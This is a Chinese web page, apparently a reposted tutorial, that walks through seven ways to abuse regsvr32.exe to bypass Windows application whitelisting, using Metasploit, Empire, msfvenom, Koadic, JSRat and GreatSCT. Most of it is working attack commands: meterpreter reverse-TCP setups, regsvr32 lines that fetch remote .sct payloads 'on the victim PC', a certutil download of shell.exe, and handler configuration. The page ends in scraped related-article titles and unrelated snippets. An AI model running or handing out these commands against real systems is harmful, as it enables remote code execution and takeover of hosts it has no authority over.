使用regsrv32.exe绕过应用程序白名单(多种方法)
0x00 regsvr简介
regsvr32表示Microsoft注册服务。它是Windows的命令行实用工具。虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件。该文件位于C:\\Windows的子文件夹中。该文件能够被查看,跟踪和影响其他程序。它主要用于在Windows文件扩展名中注册和取消注册程序,因为它是.exe,它的进程广泛地应用到OLE(对象链接和嵌入)、DLL(数据链接库)和OCX(ActiveX控制模块)中。上述进程在后台运行,可以通过任务管理器看到。它是微软的可信文件之一。
0x01 regsvr运行
当你通过regsvr32中注册一个dll文件时,有关与regsvr32关联的程序的信息将会被添加到Windows中。然后访问这些进程查看器以了解程序数据的位置以及如何与程序数据进行交互。在注册一个dll文件时,会将信息添加到目录中,以便Windows可以使用它。这些文件的整个路径在字面上都有可执行代码,因此Windows可以调用特定的函数。这些文件非常方便,因为当软件更新时,这些文件会自动调用更新的版本;简而言之,它有助于避免软件的版本问题。通常,除了注册和注销dll文件外,此文件不常用
RegSvr32.exe具有以下命令行选项:
语法: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>
/ u - 取消注册server
/ i - 调用DllInstall传递一个可选的[cmdline]; 当它与/u一起使用时,调用dll uninstall
/ n - 不要调用DllRegisterServer; 此选项必须与/i一起使用
/ s - Silent;不显示消息框
要了解更多信息,请访问:https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages
0x02 攻击regsvr的多种方法
- Web delivery
- Empire
- Manual
- MSFVenom
- Koadic
- JSRat
- GreatSCT
1.第一种方法:Web Delivery
该模块可以快速启动一个为payload提供服务的Web服务器。提供的命令将允许下载和执行payload。它将通过指定的脚本语言解析器或Regsvr32使用squiblydoo技术绕过应用程序白名单。此模块的主要目的是当攻击者必须手动输入命令(例如命令注入)时,快速在目标计算机上建立会话:例如命令注入。
Regsvr32使用squiblydoo技术绕过应用程序白名单。签名的Microsoft二进制文件Regsvr32能够运行.sct文件,然后在其中执行包含PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上执行。“PSH(Binary)”会将文件写入到硬盘中,允许自定义二进制文件被下载和执行。
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
复制下图中突出被框选的代码:
一旦该exploit被执行,您将拥有一个为您创建的URL。在受害者pc的命令提示符中运行该URL,如下所示:
regsvr32 /s /n /u /i:http://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll
在命令执行后按Enter键,您将拥有您的会话。如下图所示,输入sysinfo命令获取主机信息:
2.第二种方法:PowerShell Empire
对于我们的下一个regsvr攻击方法,我们将使用empire。empire是一个后开发框架。到目前为止,我们必须将.sct标记与metasploit匹配,但在此方法中,我们将使用Empire框架。它只是基于python的powershell windows代理,这使得它非常有用。empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier开发。您可以从https://github.com/empireproject/empire 下载此框架。
要了解empire的基本指南,请访问我们的文章empire介绍:https://www.hackingarticles.in/hacking-with-empire-powershell-post-extraction-agent/
启动Empire框架后,输入listener以检查是否有任何活动的侦听器。如下图所示,没有活动的侦听器。要设置侦听器,请输入以下命令:
uselistner http
set Host http://192.168.1.109
execute
使用以上命令,您将拥有一个活动的侦听器。键入back以退出侦听器,以便启动PowerShell。
一旦断开了侦听器,就需要使用exploit来创建恶意文件。empire中的stager是一段代码段,它允许我们的恶意代码通过被受感染主机上的代理运行。这意味着要创建一个exploit,我们必须使用stager。因此,输入以下命令:
usestager windows/launcher_sct
set listener http
execute
执行命令后,usestager将在/tmp中创建一个launcher.sct。现在要获取会话,请通过输入以下命令启动python服务器:
python -m SimpleHTTPServer
当服务器启动时,剩下的唯一步骤是在受害者的PC中执行我们的恶意软件。为此,在命令提示符中输入以下命令:
regsvr /s /n /u /i:http://192.168.1.109:8080/tmp/launcher.sct scrobj.dll
在上面的命令中,我们使用了端口8080,因为我们的python服务器是在同一个端口上被激活
按照说明执行上述操作后,您将收到一个会话。要访问会话,请输入以下命令:
interact 9ATUX4M7
9ATUX4M7:是代理/会话名称。这将因会话而异。
3.第三种方法:在sct文件中注入PowerShell代码(手动方法)
我们的下一个方法将借助于一个exploit。我们使用的exploit将帮助我们创建一段PowerShell代码。我们先创建PowerShell,然后进入到kali和终端并输入命令。
运行此exploit后,它将在终端屏幕上显示powershell代码,如下图所示:
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit
复制下面突出显示的文本代码
Regsvr32是一个命令行实用程序,用于注册和取消注册OLE控件,例如Windows注册表中的DLL和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\System32 文件夹中。
现在我们需要创建一个.sct文件,以便我们的攻击能够执行。我们在网上找到了一个脚本来创建.sct文件。您可以通过单击此处访问脚本的链接。该脚本如下图所示:
复制由web-delivery创建的PowerShell代码,并将其粘贴到上面的脚本中,在上面的脚本中它会显示“calc.exe”,如下图所示,然后使用.sct扩展名保存它。
然后就像上诉一样,运行以下命令在受害者的PC中使用regsvr32.exe执行.sct文件:
一旦执行了上述命令,您就可以通过Web_交互进行会话。要访问会话类型“sessions 1”和“info”以获取有关系统的基本信息。
4.第四种方法:MsfVenom
我们的下一个方法是使用msfvenom。通过这种方法,我们将创建两个.sct文件,一个用于下载我们的恶意软件,另一个用于执行它。但首先,让我们开始使用MSFvenom,对于这种类型,请输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport= -f exe > shell.exe
使用以下命令启动python服务器:
python -m SimpleHTTPServer
同时,在前一种方法中使用的同一脚本中,注入certutil.exe命令以从远程服务器调用shell.exe文件。因此,不要使用“calc.exe”写入以下内容,并使用.sct扩展名再次保存文件:
certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe
我们在这里使用了certutil,因为它允许在Windows中下载文件并将文件保存为3.sct。
现在,使用以下命令运行上面的脚本:
regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll
我们将创建另一个文件来执行以前的文件“shell.exe”。为此,再次采用相同的脚本,并在其中写入“calc.exe”;因此,写入以下命令:
cmd /k cd c:\Users\raj & shell.exe
我们已将脚本保存为4.sct,并使用以下命令再次运行此脚本:
regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll
同时,启动多处理程序,以获得会话。因此,输入以下命令:
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport
msf exploit(multi/handler) > exploit
在受害者的主机上运行命令后,你将拥有一个meterpreter会话
5.第五种方法:Koadic
我们的下一个方法是使用koadic。Koadic是一个Windows后期开发的rootkit,类似于其他渗透测试工具,如meterpreter和PowerShellEmpire。要了解更多关于Koadic的信息,请通过以下链接阅读我们关于上述框架的详细文章:https://www.hackingarticles.in/koadic-com-command-control-framework
一旦koadic启动并运行,输入以下命令:
use stager/js/regsvr
set srvhost 192.168.1.107
run
在此之后,在受害者PC的命令提示符中输入以下命令:
regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll
运行上述命令后,您将拥有一个会话。要访问会话请输入以下命令:
zombies
6.第六种方法:JSRat
我们攻击regsvr32的下一个方法是使用jsrat,你可以从GitHub下载它。这是另一个非常小的命令和控制框架,就像koadic和Powershell Empire一样,只为rundll32.exe和regsvr32.exe生成恶意程序。jsrat将创建一个Web服务器,在该Web服务器上,我们将找到.sct文件。要使用此方法,请键入以下命令:
./JSRat.py -I 192.168.1.107 -p
运行以上命令将启动Web服务器。
在浏览器中打开它,如下所示。在这里,您将找到需要在受害者的PC上运行的.sct文件。
在我们获得命令后,在运行窗口中运行命令,如下图所示:
在命令窗口中执行命令后,您将有一个会话,如图所示:
7.第七种方法:GreatSCT
GreatSCT是一款允许您使用Metasploit exploit并允许它绕过大多数反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。你可以从下面地址中下载:
https://github.com/GreatSCT/GreatSCT
下载并运行后,输入以下命令以访问模块:
use Bypass
然后输入“list”以获取模块列表
将显示模块列表,如下图所示:
从模块列表中选择以下选项:
use regsvr/shellcode_iject/base64_migrate.py
generate
完成上述命令后,输入1以选择MSFVenom
然后它会询问你payload。只需按Enter键,即可将Windows/MeterPreter/Reverse_TCP作为默认payload,这就是我们需要的。在此之后,我们提供192.168.1.107和指定端口(any),如下图所示,我们将lport设置为2345。
在给出详细信息后,它会询问您的恶意软件的名称。默认情况下,它将设置名称为“payload”,以便您可以提供名称,或者只需按Enter键进行默认设置。
当你按Enter键时,它会生成两个文件。其中一个是资源文件,另一个是.sct文件
现在,首先,在/usr/share/greatsct输出中输入以下命令启动python的服务器:
python -m SimpleHTTPServer
现在在受害者PC的运行窗口中执行.sct文件,如下所示。
使用资源文件启动multi/handler。为此,输入以下命令:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
0x03 总结
使用regsvr32获取会话是一种不寻常的方式,但它非常重要。因此,上述方法使用不同的工具和软件来允许我们执行此攻击
使用regsrv32.exe绕过应用程序白名单(多种方法)的更多相关文章
- 使用mshta.exe绕过应用程序白名单(多种方法)
0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...
- 使用rundll32.exe绕过应用程序白名单(多种方法)
0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...
- 使用msiexec.exe绕过应用程序白名单(多种方法)
0x00 前言 在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们.但今天您将学习如何绕 ...
- 使用msbuild.exe绕过应用程序白名单(多种方法)
一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...
- 使用wmic.exe绕过应用程序白名单(多种方法)
一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...
- 使用cmstp绕过应用程序白名单
默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因.已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC.与Microsoft相关的二进制文件之一 ...
- GreatSct -应用程序白名单bypass工具
0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott).Great SCT是一个用于生成应用程序白 ...
- 项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法
1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...
- 将非官方扩展程序加入chrome的白名单
参考来源:http://xclient.info/a/1ddd2a3a-d34b-b568-c0d0-c31a95f0b309.html com.google.Chrome.mobileconfig ...
随机推荐
- 互联网校招面试必备——Java多线程
本文首发于我的个人博客:尾尾部落 本文是我刷了几十篇一线互联网校招java后端开发岗位的面经后总结的多线程相关题目,虽然有点小长,但是面试前看一看,相信能帮你轻松啃下多线程这块大骨头. 什么是进程,什 ...
- python多线程与GIL(转)
作者:卢钧轶(cenalulu) 本文原文地址:http://cenalulu.github.io/python/gil-in-python/ GIL是什么 GIL(Global Interprete ...
- Netty源码分析第7章(编码器和写数据)---->第3节: 写buffer队列
Netty源码分析七章: 编码器和写数据 第三节: 写buffer队列 之前的小节我们介绍过, writeAndFlush方法其实最终会调用write和flush方法 write方法最终会传递到hea ...
- python编辑修改haproxy配置文件--文件基础操作
一.需求分析 有查询,删除,添加的功能 查询功能:查询则打印查询内容,如果不存在也要打印相应的信息 删除功能:查询到要删除内容则删除,打印信息. 添加功能:同上. 二.流程图 三.代码实现 本程序主要 ...
- ossec代理
代理端 OSSEC有两种代理端:可安装的代理端和哑代理端(免安装).可安装的代理端被安装在主机上,通过OSSEC的加密协议将主机的信息发送到OSSEC服务器.亚代理端则不需在远端主机进行安装.他作为O ...
- linux 常用反弹shell小记
在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...
- $.each()用法
通过它,你可以遍历对象.数组的属性值并进行处理. 使用说明 each函数根据参数的类型实现的效果不完全一致: 1.遍历对象(有附加参数) $.each(Object, function(p1, p2) ...
- 第二次作业(homework-02)成绩公布
学位后三位和对应成绩: 057 0008 4011 4012 7014 5015 5017 6018 0019 0026 2027 7036 0038 7.5046 7048 6.5051 0061 ...
- <<梦断代码>>读后感
<梦断代码>中对软件工程所面临的种种困难与艰难的描述,即便再过5年读也许都不过时.因为正如原作者所说,书中描写的是一队人马并肩扛起代码大石,虽历经磨难仍欲将其推上山顶的故事,而正是这种故事 ...
- Internet History, Technology and Security (Week4)
Week4. We are now moving into Week 4! This week, we will be covering commercialization and growth. T ...